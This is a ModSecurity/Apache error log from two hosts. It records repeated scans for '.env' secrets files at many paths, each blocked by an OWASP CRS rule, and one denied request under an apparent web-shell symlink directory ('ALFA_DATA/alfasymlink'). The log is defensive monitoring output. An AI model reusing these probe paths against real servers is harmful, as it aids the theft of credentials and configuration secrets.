[Sat Oct 24 21:49:34.074548 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWcgAAACE"]
[Sat Oct 24 21:49:34.074720 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWcgAAACE"]
[Sat Oct 24 21:49:34.075017 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWcgAAACE"]
[Sat Oct 24 21:49:34.084257 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at1gLj8oejtZfsaip1YpLAAAABE"]
[Sat Oct 24 21:49:34.084428 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at1gLj8oejtZfsaip1YpLAAAABE"]
[Sat Oct 24 21:49:34.084715 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at1gLj8oejtZfsaip1YpLAAAABE"]
[Sat Oct 24 21:49:34.094354 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWcwAAACE"]
[Sat Oct 24 21:49:34.094491 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWcwAAACE"]
[Sat Oct 24 21:49:34.094696 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWcwAAACE"]
[Sat Oct 24 21:49:34.109009 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWdAAAACE"]
[Sat Oct 24 21:49:34.109187 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWdAAAACE"]
[Sat Oct 24 21:49:34.109431 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWdAAAACE"]
[Sat Oct 24 21:49:34.145326 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at1gLj8oejtZfsaip1YpLQAAABE"]
[Sat Oct 24 21:49:34.145559 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at1gLj8oejtZfsaip1YpLQAAABE"]
[Sat Oct 24 21:49:34.145869 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at1gLj8oejtZfsaip1YpLQAAABE"]
[Sat Oct 24 21:49:34.159399 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /release/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWdQAAACE"]
[Sat Oct 24 21:49:34.159701 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWdQAAACE"]
[Sat Oct 24 21:49:34.160159 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWdQAAACE"]
[Sat Oct 24 21:49:34.174768 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /releases/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWdgAAACE"]
[Sat Oct 24 21:49:34.175093 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWdgAAACE"]
[Sat Oct 24 21:49:34.175428 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWdgAAACE"]
[Sat Oct 24 21:49:34.183031 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 18.214.251.19:31958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/bus/pnp/drivers/system/uevent
[Sat Oct 24 21:49:34.188680 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at1gLj8oejtZfsaip1YpLgAAABE"]
[Sat Oct 24 21:49:34.188890 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at1gLj8oejtZfsaip1YpLgAAABE"]
[Sat Oct 24 21:49:34.189149 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at1gLj8oejtZfsaip1YpLgAAABE"]
[Sat Oct 24 21:49:34.216455 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWdwAAACE"]
[Sat Oct 24 21:49:34.216811 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWdwAAACE"]
[Sat Oct 24 21:49:34.217309 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWdwAAACE"]
[Sat Oct 24 21:49:34.240452 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWeAAAACE"]
[Sat Oct 24 21:49:34.240800 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWeAAAACE"]
[Sat Oct 24 21:49:34.241268 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at1gLjKiZtbKEGWJKoLWeAAAACE"]
[Sat Oct 24 21:49:34.254781 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at1gLj8oejtZfsaip1YpLwAAABE"]
[Sat Oct 24 21:49:34.255100 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at1gLj8oejtZfsaip1YpLwAAABE"]
[Sat Oct 24 21:49:34.255505 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/core/app/.env"] [unique_id "at1gLj8oejtZfsaip1YpLwAAABE"]
[Sat Oct 24 21:49:34.282222 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at1gLj8oejtZfsaip1YpMAAAABE"]
[Sat Oct 24 21:49:34.282487 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at1gLj8oejtZfsaip1YpMAAAABE"]
[Sat Oct 24 21:49:34.282787 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at1gLj8oejtZfsaip1YpMAAAABE"]
[Sat Oct 24 21:49:34.327165 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at1gLj8oejtZfsaip1YpMQAAABE"]
[Sat Oct 24 21:49:34.327503 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at1gLj8oejtZfsaip1YpMQAAABE"]
[Sat Oct 24 21:49:34.327996 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at1gLj8oejtZfsaip1YpMQAAABE"]
